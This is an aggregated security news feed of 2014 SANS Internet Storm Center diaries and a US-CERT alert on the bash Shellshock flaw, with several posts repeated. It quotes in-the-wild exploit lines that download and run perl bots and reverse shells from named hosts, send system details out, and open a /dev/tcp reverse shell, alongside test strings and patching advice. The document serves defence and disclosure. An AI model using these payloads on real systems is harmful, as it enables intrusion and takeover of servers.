Information Security

Vulnerability Pipes

Vuln: Microsoft Internet Explorer CVE-2012-1876 Col Element Remote Code Execution Vulnerability

Windows Security - Mon, 09/29/2014 - 19:00
Microsoft Internet Explorer CVE-2012-1876 Col Element Remote Code Execution Vulnerability
Categories: Vulnerability Pipes

Shellshock: A Collection of Exploits seen in the wild, (Mon, Sep 29th)

Windows Security - Mon, 09/29/2014 - 10:05

Ever since the shellshock vulnerability has been announced, we have seen a large number of scans probing it. Here is a quick review of exploits that our honeypots and live servers have seen so far:

1 - Simple "vulnerability checks" that used custom User-Agents:

() { 0v3r1d3;};echo \x22Content-type: text/plain\x22; echo; uname -a;
() { :;}; echo 'Shellshock: Vulnerable'
() { :;};echo content-type:text/plain;echo;echo [random string];echo;exit
() { :;}; /bin/bash -c "echo testing[number]"; /bin/uname -a\x0a\x0a
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 \x22() { test;};echo \x5C\x22Co\
ntent-type: text/plain\x5C\x22; echo; echo; /bin/cat /etc/passwd\x22 http://[IP address]/cgi-bin/test.cgi

This one is a bit different. It includes the tested URL as user agent. But of course, it doesn't escape special characters correctly, so this exploit would fail in this case. The page at 89.248.172.139 appears to only return an "empty page" message.

) { :;}; /bin/bash -c \x22wget -U BashNslash.http://isc.sans.edu/diary/Update+on+CVE-2014-6271:+Vulnerability+in+bash+(shellshock)/18707 89.248.172.139\x22

 

2 - Bots using the shellshock vulnerability:

This one installs a simple perl bot. Connects to irc.hacker-newbie.org port 6667 channel #bug

() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b\
0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0\
b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http\
://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/sh\
ock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.\
com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http:\
//xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;

3 - Vulnerability checks using multiple headers:

GET / HTTP/1.0
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3
Accept: */*
Cookie: () { :; }; ping -c 3 [ipaddress]
Host: () { :; }; ping -c 3 [ipaddress]
Referer: () { :; }; ping -c 3 [ipaddress]

4 - Using Multiple headers to install perl reverse shell (shell connects to 46.246.34.82 port 1992 in this case)

GET / HTTP/1.1
Host: [ip address]
Cookie:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl
Referer:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl

5 - Using User-Agent to report system parameters back (the IP address is currently not responding)

GET / HTTP/1.0
Accept: */*\
aUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3
Host: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)"
Cookie: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)" 

6 - User-Agent used to install perl box

GET / HTTP/1.0
Host: [ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*

 

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Vulnerability Pipes

Shellshock: A Collection of Exploits seen in the wild, (Mon, Sep 29th)

Other Security - Mon, 09/29/2014 - 10:05

Ever since the shellshock vulnerability has been announced, we have seen a large number of scans probing it. Here is a quick review of exploits that our honeypots and live servers have seen so far:

1 - Simple "vulnerability checks" that used custom User-Agents:

() { 0v3r1d3;};echo \x22Content-type: text/plain\x22; echo; uname -a;
() { :;}; echo 'Shellshock: Vulnerable'
() { :;};echo content-type:text/plain;echo;echo [random string];echo;exit
() { :;}; /bin/bash -c "echo testing[number]"; /bin/uname -a\x0a\x0a
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 \x22() { test;};echo \x5C\x22Co\
ntent-type: text/plain\x5C\x22; echo; echo; /bin/cat /etc/passwd\x22 http://[IP address]/cgi-bin/test.cgi

This one is a bit different. It includes the tested URL as user agent. But of course, it doesn't escape special characters correctly, so this exploit would fail in this case. The page at 89.248.172.139 appears to only return an "empty page" message.

) { :;}; /bin/bash -c \x22wget -U BashNslash.http://isc.sans.edu/diary/Update+on+CVE-2014-6271:+Vulnerability+in+bash+(shellshock)/18707 89.248.172.139\x22

 

2 - Bots using the shellshock vulnerability:

This one installs a simple perl bot. Connects to irc.hacker-newbie.org port 6667 channel #bug

() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b\
0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0\
b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http\
://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/sh\
ock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.\
com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http:\
//xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;

3 - Vulnerability checks using multiple headers:

GET / HTTP/1.0
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3
Accept: */*
Cookie: () { :; }; ping -c 3 [ipaddress]
Host: () { :; }; ping -c 3 [ipaddress]
Referer: () { :; }; ping -c 3 [ipaddress]

4 - Using Multiple headers to install perl reverse shell (shell connects to 46.246.34.82 port 1992 in this case)

GET / HTTP/1.1
Host: [ip address]
Cookie:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl
Referer:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl

5 - Using User-Agent to report system parameters back (the IP address is currently not responding)

GET / HTTP/1.0
Accept: */*\
aUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3
Host: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)"
Cookie: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)" 

6 - User-Agent used to install perl box

GET / HTTP/1.0
Host: [ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*

 

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Vulnerability Pipes

Shellshock: Vulnerable Systems you may have missed and how to move forward, (Mon, Sep 29th)

Linux Security - Mon, 09/29/2014 - 09:14

By now, I hope you are well on your way to patch your Linux systems for the bash code injection vulnerabilities. At this point, you should probably dig a bit deeper and try to find more "hidden" places that may be vulnerable. First of all, a quick list of things that are not vulnerable:

  • iOS, Android and many similar systems that use ash instead of bash.
  • Many systems are vulnerable, but the vulnerability is not exposed by default. In this case, patching is less urgent but should still be done as soon as patches are available. For example in OS X, there is no web server installed by default, and the DHCP client does not call shell scripts the way Linux does. Solaris uses ksh by default.
  • Many small embedded systems use busybox, not bash, and are not vulnerable.

Now which are the systems you may have missed in your first quick survey? First of all, vulnerability scanners will only find the low hanging fruit for this one, in particular earlier on. There are many larger web applications that have a couple of small cgi-bin scripts that are easily missed.

  • In Apache, look for the ExecCGI anywhere in your Apache configuration (not just httpd.conf, check files that are included by httpd.conf like virtual host configurations). If possible, remove ExecCGI if it was just setup by a default install.
  • Check if /bin/sh is a symlink to /bin/bash, or worse, a copy of /bin/bash. Just to make sure, try the exploit against other shells on the system (I have seen admins rename bash for convenience...)
  • While Android is not vulnerable by default, it is possible to install bash on Android
  • Even Windows can be made vulnerable, if you install tools like cygwin and expose them via a web server
  • "larger" embedded devices, unlike the small devices based on busybox, do sometimes include bash. Depending on how much access you have to the device, this can be hard to figure out
  • cgi web applications that are written in languages other then bash, but call bash (e.g. via exec(), popen() or similar commands.

And some good news: The signature "() {" for the exploit is actually better then I thought originally. Turns out that added spaces or other modifications to this string will break the exploit. 

So in short, your priority list should look like:

  • If today, you find exposed bash scripts in a publicly reachable server in cgi-bin: Assume the server is compromised.
  • Focus on web servers. Patch all web servers as soon as possible even if you currently don't use cgi-bin. It is too easy to miss a script.
  • Any vulnerable system that uses restricted ssh shells
  • Any vulnerable system that is used outside your perimeter (to avoid DHCP attacks)

Moving forward: The idea of writing web applications in bash (or other shell scripting langagues) is pretty dangerous in the first place. It should be done with care, and if possible, try to use a different languages (perl, php, python) as they provide better input validation libraries. SELinux was mentioned as a counter measure, but in this case, it may not work quite as well as hoped. Regardless, learn how to use it and don't just turn it off the first time it gets in the way. Systems like web application firewall and IPSs are very useful in a case like this for virtual patching. Make sure you have these systems in place, even if for the most part, you use them just to alert and log and less to block.

Fellow handler Rob put together this list of "likely to be missed" machines:

  • web content control servers
  • e-mail gateways
  • proxy servers
  • web application firewalls (WAFs)
  • IPS sensors and servers
  • Wireless Controllers
  • VOIP Servers
  • Firewalls
  • Enterprise class routers or switches (yes, really)
  • Any Virtual Machine that you got as an OVA or OVF from a vendor

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Vulnerability Pipes

Shellshock: Vulnerable Systems you may have missed and how to move forward, (Mon, Sep 29th)

Windows Security - Mon, 09/29/2014 - 09:14

By now, I hope you are well on your way to patch your Linux systems for the bash code injection vulnerabilities. At this point, you should probably dig a bit deeper and try to find more "hidden" places that may be vulnerable. First of all, a quick list of things that are not vulnerable:

  • iOS, Android and many similar systems that use ash instead of bash.
  • Many systems are vulnerable, but the vulnerability is not exposed by default. In this case, patching is less urgent but should still be done as soon as patches are available. For example in OS X, there is no web server installed by default, and the DHCP client does not call shell scripts the way Linux does. Solaris uses ksh by default.
  • Many small embedded systems use busybox, not bash, and are not vulnerable.

Now which are the systems you may have missed in your first quick survey? First of all, vulnerability scanners will only find the low hanging fruit for this one, in particular earlier on. There are many larger web applications that have a couple of small cgi-bin scripts that are easily missed.

  • In Apache, look for the ExecCGI anywhere in your Apache configuration (not just httpd.conf, check files that are included by httpd.conf like virtual host configurations). If possible, remove ExecCGI if it was just setup by a default install.
  • Check if /bin/sh is a symlink to /bin/bash, or worse, a copy of /bin/bash. Just to make sure, try the exploit against other shells on the system (I have seen admins rename bash for convenience...)
  • While Android is not vulnerable by default, it is possible to install bash on Android
  • Even Windows can be made vulnerable, if you install tools like cygwin and expose them via a web server
  • "larger" embedded devices, unlike the small devices based on busybox, do sometimes include bash. Depending on how much access you have to the device, this can be hard to figure out
  • cgi web applications that are written in languages other then bash, but call bash (e.g. via exec(), popen() or similar commands.

And some good news: The signature "() {" for the exploit is actually better then I thought originally. Turns out that added spaces or other modifications to this string will break the exploit. 

So in short, your priority list should look like:

  • If today, you find exposed bash scripts in a publicly reachable server in cgi-bin: Assume the server is compromised.
  • Focus on web servers. Patch all web servers as soon as possible even if you currently don't use cgi-bin. It is too easy to miss a script.
  • Any vulnerable system that uses restricted ssh shells
  • Any vulnerable system that is used outside your perimeter (to avoid DHCP attacks)

Moving forward: The idea of writing web applications in bash (or other shell scripting langagues) is pretty dangerous in the first place. It should be done with care, and if possible, try to use a different languages (perl, php, python) as they provide better input validation libraries. SELinux was mentioned as a counter measure, but in this case, it may not work quite as well as hoped. Regardless, learn how to use it and don't just turn it off the first time it gets in the way. Systems like web application firewall and IPSs are very useful in a case like this for virtual patching. Make sure you have these systems in place, even if for the most part, you use them just to alert and log and less to block.

Fellow handler Rob put together this list of "likely to be missed" machines:

  • web content control servers
  • e-mail gateways
  • proxy servers
  • web application firewalls (WAFs)
  • IPS sensors and servers
  • Wireless Controllers
  • VOIP Servers
  • Firewalls
  • Enterprise class routers or switches (yes, really)
  • Any Virtual Machine that you got as an OVA or OVF from a vendor

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Vulnerability Pipes

Update on CVE-2014-6271: Vulnerability in bash (shellshock), (Thu, Sep 25th)

Other Security - Sun, 09/28/2014 - 18:13

On Wednesday (Sept. 24th), a vulnerability in bash was announced, that was originally found by Stephane Schazelas. The vulnerability allows for arbitrary code execution in bash by setting specific environment variables. Later Tavis Ormandy released a second exploit that will work on patched systems. Demonstration that the patch released yesterday is incomplete. The vulnerability has now become known as "shellshock". Two CVE numbers have been assigned. The first CVE (CVE-2014-6271) was assigned for the vulnerability discovered by Stephane, the second CVE (CVE-2014-7169) was assigned to the modified injection technique discovered by Tavis. [fsf][cve1][cve2]

What is the impact of the vulnerability?

At first, the vulnerability doesn't look all that serious. Executing commands is what bash is used for. But in this case, code can be executed without the user's intent by setting an environment variable.

The most problematic scenario is bash scripts executed via cgi-bin. The CGI specification requires the web server to convert HTTP request headers supplied by the client to environment variables. If a bash script is called via cgi-bin, an attacker may use this to execute code as the web server.

Other, less likely scenarios involve ssh, which can set environment variables, but they would have to be set on the server in a configuration file. DHCP clients may in some cases execute bash scripts and use environment variables supplied by the server. This case may be exploitable if the user connects to an untrusted DHCP server ("cofeehouse wifi"). [tru]

Should I apply the patch?

Yes. The initial patch released only fixed one aspect of the vulnerability. However, a better patch was released for many Linux systems yesterday (Thursday 25th). Please make sure you apply this updated patch to mitigate this vulnerability. [ubu]

What are my other options? What else should I do?

Since the patch is incomplete, you should try to implement additional measures to protect your systems. Various Intrusion Detection System (IDS) and Web Application Firewall (WAF) vendors have released rules to block exploitation. Realize that these rules may be incomplete as well. Many rules I have seen so far just look for the string "() {" which was present in the original proof of concept exploit, but could easily be changed for example by adding more or different white spaces.

You could switch your default shell to an alternative like ksh or sh. But this,will likely break existing scripts. Different shells use slightly different syntax.

On many embedded systems you may already use an alternative shell ("busybox") that is not vulnerable. 

Another option to limit the impact of the vulnerability is SELinux, but by default, it does not prevent the initial exploit. [sel]

How do I find vulnerable systems?

If you can log on to the system you can use one of these test strings:

To check if you are patched, you can use the original test string:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If you are patched, but want to demonstrate that you are still vulnerable, you
can use this command:

env X='() { (a)=>\' bash -c "echo date";

This command will return an error on a patched system, but it will still
create an empty file called "echo". 

 

There are various modules for vulnerability scanners to search for vulnerable systems. You can also use a quick Google search for likely vulnerable web servers:
filetype:sh inurl:cgi-bin site:[your domain]
This Google check my return shell scripts that use shells other then bash.

Be careful to check web servers in embedded systems like routers as they may not only run bash scripts, but they may do so at elevated privileges. Many empeded systems use busybox, not bash, and are save. But if bash is used, these systems may be vulnerable.

Other vulnerable systems include F5 load balancers and OS X (Apple) systems [f5-1][f5-2][osx]. Cisco published two articles outlining how it's devices are affected [cisco1][cisco2].

Apple stated that "With OS X, systems are safe by default and not exposed to remote exploits of bash unless users configure advanced UNIX services,” - [tps] . It is not clear if OS X can be exploited via DHCP. But it is certainly possible and not uncommon for users to install web servers on OS X.

It also may be possible to find exposed systems through DHCP:

From one of our readers (Big Shout out and thank you to Patrick!)

Using DHCP Options, you may be able increase detection of systems that are exposed to the bug. At first Patrick's team was using DHCP option 114, then dialog revealed that option 95 might serve as a better 'option' (pun intended).

The Solution:

option option-114 = "() { ignored;}; ping -c 1 IP.THAT.YOU.CONTROL";

and running a packet sniffer on IP.THAT.YOU.CONTROL.

It's most reliable and least intrusive (1 ICMP packet).

Unless ICMP filtering is in place in which case, use...

option option-114 = "() { ignored;}; wget -O /dev/null
http://IP.THAT.YOU.CONTROL/ShellShocked";

will also work on systems that have wget. Just tail logs for 404s

NOTE!: option-114 is used by VoIP (provisioning URL) so thread carefully on
telecomms networks!

This DHCP solution is experimental so be careful!

Threatstop published a list of IPs known to scan/exploit the vulnerability [thr]

Are systems already being exploited?

We have seen reports of scans for the vulnerability. The cgi-bin exploit is used very agressively and we already have seen multiple attacks against our own web servers.  

Scans also started against some well known cgi-bin scripts that are part of larger packages. For example cPanel's /cgi-sys/defaultwebpage.cgi. [vol]

We do see numerous exploit attempts against our own (non-vulnerable) web servers, and are receiving many reports of exploit attempts. For example, here a log entry in which the User-Agent was set to the exploit value:

178.86.28.56 - - [25/Sep/2014:21:24:54 +0000] "GET /iscfavicon.ico HTTP/1.1" 200 1406 "-" "() { :; }; bash -i >& /dev/tcp/178.86.28.56/9999 0>">---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Vulnerability Pipes

Vuln: Microsoft Internet Explorer CVE-2014-4067 Remote Memory Corruption Vulnerability

Windows Security - Fri, 09/26/2014 - 19:00
Microsoft Internet Explorer CVE-2014-4067 Remote Memory Corruption Vulnerability
Categories: Vulnerability Pipes

TA14-268A: GNU Bourne-Again Shell (Bash) ‘Shellshock’ Vulnerability (CVE-2014-6271, CVE-2014-7169)

Linux Security - Thu, 09/25/2014 - 11:56
Original release date: September 25, 2014 | Last revised: September 26, 2014
Systems Affected
  • GNU Bash through 4.3.
  • Linux and Mac OS X systems, on which Bash is part of the base operating system.
  • Any BSD or UNIX system on which GNU Bash has been installed as an add-on.
  • Any UNIX-like operating system on which the /bin/sh interface is implemented as GNU Bash.
Overview

A critical vulnerability has been reported in the GNU Bourne-Again Shell (Bash), the common command-line shell used in many Linux/UNIX operating systems and Apple’s Mac OS X. The flaw could allow an attacker to remotely execute shell commands by attaching malicious code in environment variables used by the operating system [1]. The United States Department of Homeland Security (DHS) is releasing this Technical Alert to provide further information about the GNU Bash vulnerability.

Description

GNU Bash versions 1.14 through 4.3 contain a flaw that processes commands placed after function definitions in the added environment variable, allowing remote attackers to execute arbitrary code via a crafted environment which enables network-based exploitation. [2, 3]

Critical instances where the vulnerability may be exposed include: [4, 5]

  • Apache HTTP Server using mod_cgi or mod_cgid scripts either written in bash, or spawn GNU Bash subshells, or on any system where the /bin/sh interface is implemented using GNU Bash.
  • Override or Bypass ForceCommand feature in OpenSSH sshd and limited protection for some Git and Subversion deployments used to restrict shells and allows arbitrary command execution capabilities. This data path is vulnerable on systems where the /bin/sh interface is implemented using GNU Bash.
  • Allow arbitrary commands to run on a DHCP client machine.
Impact

This vulnerability is classified by industry standards as “High” impact with CVSS Impact Subscore 10 and “Low” on complexity, which means it takes little skill to perform. This flaw allows attackers who can provide specially crafted environment variables containing arbitrary commands to execute on vulnerable systems. It is especially dangerous because of the prevalent use of the Bash shell and its ability to be called by an application in numerous ways.

Solution

Patches have been released to fix this vulnerability by major Linux vendors for affected versions. Solutions for CVE-2014-6271 do not completely resolve the vulnerability. It is advised to install existing patches and pay attention for updated patches to address CVE-2014-7169.

Many UNIX-like operating systems, including Linux distributions and Apple Mac OS X include Bash and are likely to be affected. Contact your vendor for updated information. A list of vendors can be found in CERT Vulnerability Note VU#252743 [6].

US-CERT recommends system administrators review the vendor patches and the NIST Vulnerability Summary for CVE-2014-7169, to mitigate damage caused by the exploit.

References Revision History
  • September 25, 2014 - Initial Release
  • September 26, 2014 - Minor Revisions

This product is provided subject to this Notification and this Privacy & Use policy.


Categories: Vulnerability Pipes

TA14-268A: GNU Bourne-Again Shell (Bash) ‘Shellshock’ Vulnerability (CVE-2014-6271, CVE-2014-7169)

Other Security - Thu, 09/25/2014 - 11:56
Original release date: September 25, 2014 | Last revised: September 26, 2014
Systems Affected
  • GNU Bash through 4.3.
  • Linux and Mac OS X systems, on which Bash is part of the base operating system.
  • Any BSD or UNIX system on which GNU Bash has been installed as an add-on.
  • Any UNIX-like operating system on which the /bin/sh interface is implemented as GNU Bash.
Overview

A critical vulnerability has been reported in the GNU Bourne-Again Shell (Bash), the common command-line shell used in many Linux/UNIX operating systems and Apple’s Mac OS X. The flaw could allow an attacker to remotely execute shell commands by attaching malicious code in environment variables used by the operating system [1]. The United States Department of Homeland Security (DHS) is releasing this Technical Alert to provide further information about the GNU Bash vulnerability.

Description

GNU Bash versions 1.14 through 4.3 contain a flaw that processes commands placed after function definitions in the added environment variable, allowing remote attackers to execute arbitrary code via a crafted environment which enables network-based exploitation. [2, 3]

Critical instances where the vulnerability may be exposed include: [4, 5]

  • Apache HTTP Server using mod_cgi or mod_cgid scripts either written in bash, or spawn GNU Bash subshells, or on any system where the /bin/sh interface is implemented using GNU Bash.
  • Override or Bypass ForceCommand feature in OpenSSH sshd and limited protection for some Git and Subversion deployments used to restrict shells and allows arbitrary command execution capabilities. This data path is vulnerable on systems where the /bin/sh interface is implemented using GNU Bash.
  • Allow arbitrary commands to run on a DHCP client machine.
Impact

This vulnerability is classified by industry standards as “High” impact with CVSS Impact Subscore 10 and “Low” on complexity, which means it takes little skill to perform. This flaw allows attackers who can provide specially crafted environment variables containing arbitrary commands to execute on vulnerable systems. It is especially dangerous because of the prevalent use of the Bash shell and its ability to be called by an application in numerous ways.

Solution

Patches have been released to fix this vulnerability by major Linux vendors for affected versions. Solutions for CVE-2014-6271 do not completely resolve the vulnerability. It is advised to install existing patches and pay attention for updated patches to address CVE-2014-7169.

Many UNIX-like operating systems, including Linux distributions and Apple Mac OS X include Bash and are likely to be affected. Contact your vendor for updated information. A list of vendors can be found in CERT Vulnerability Note VU#252743 [6].

US-CERT recommends system administrators review the vendor patches and the NIST Vulnerability Summary for CVE-2014-7169, to mitigate damage caused by the exploit.

References Revision History
  • September 25, 2014 - Initial Release
  • September 26, 2014 - Minor Revisions

This product is provided subject to this Notification and this Privacy & Use policy.


Categories: Vulnerability Pipes

Attention *NIX admins, time to patch!, (Wed, Sep 24th)

Linux Security - Wed, 09/24/2014 - 11:05

Over the past years, we became used to Microsoft Patches, the important, critical ones that would render your system fully vulnerable if you didn't apply them. We probably became so used that sometime we forget that our Linux servers also need patches.

Today I've learned about a critical Bash patch, that addresses the CVE-2014-6271. According the advisory:

"A flaw was found in the way Bash evaluated certain specially crafted environment variables. An attacker could use this flaw to override or bypass environment restrictions to execute shell commands. Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue."

The patches are already ready for most of the Linux distros, like RedHat and Debian, so waste no time.

---

Pedro Bueno (pbueno /%%/ isc. sans. org)
Twitter: http://twitter.com/besecure

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Vulnerability Pipes

Wed, 12/31/1969 - 19:00
Syndicate content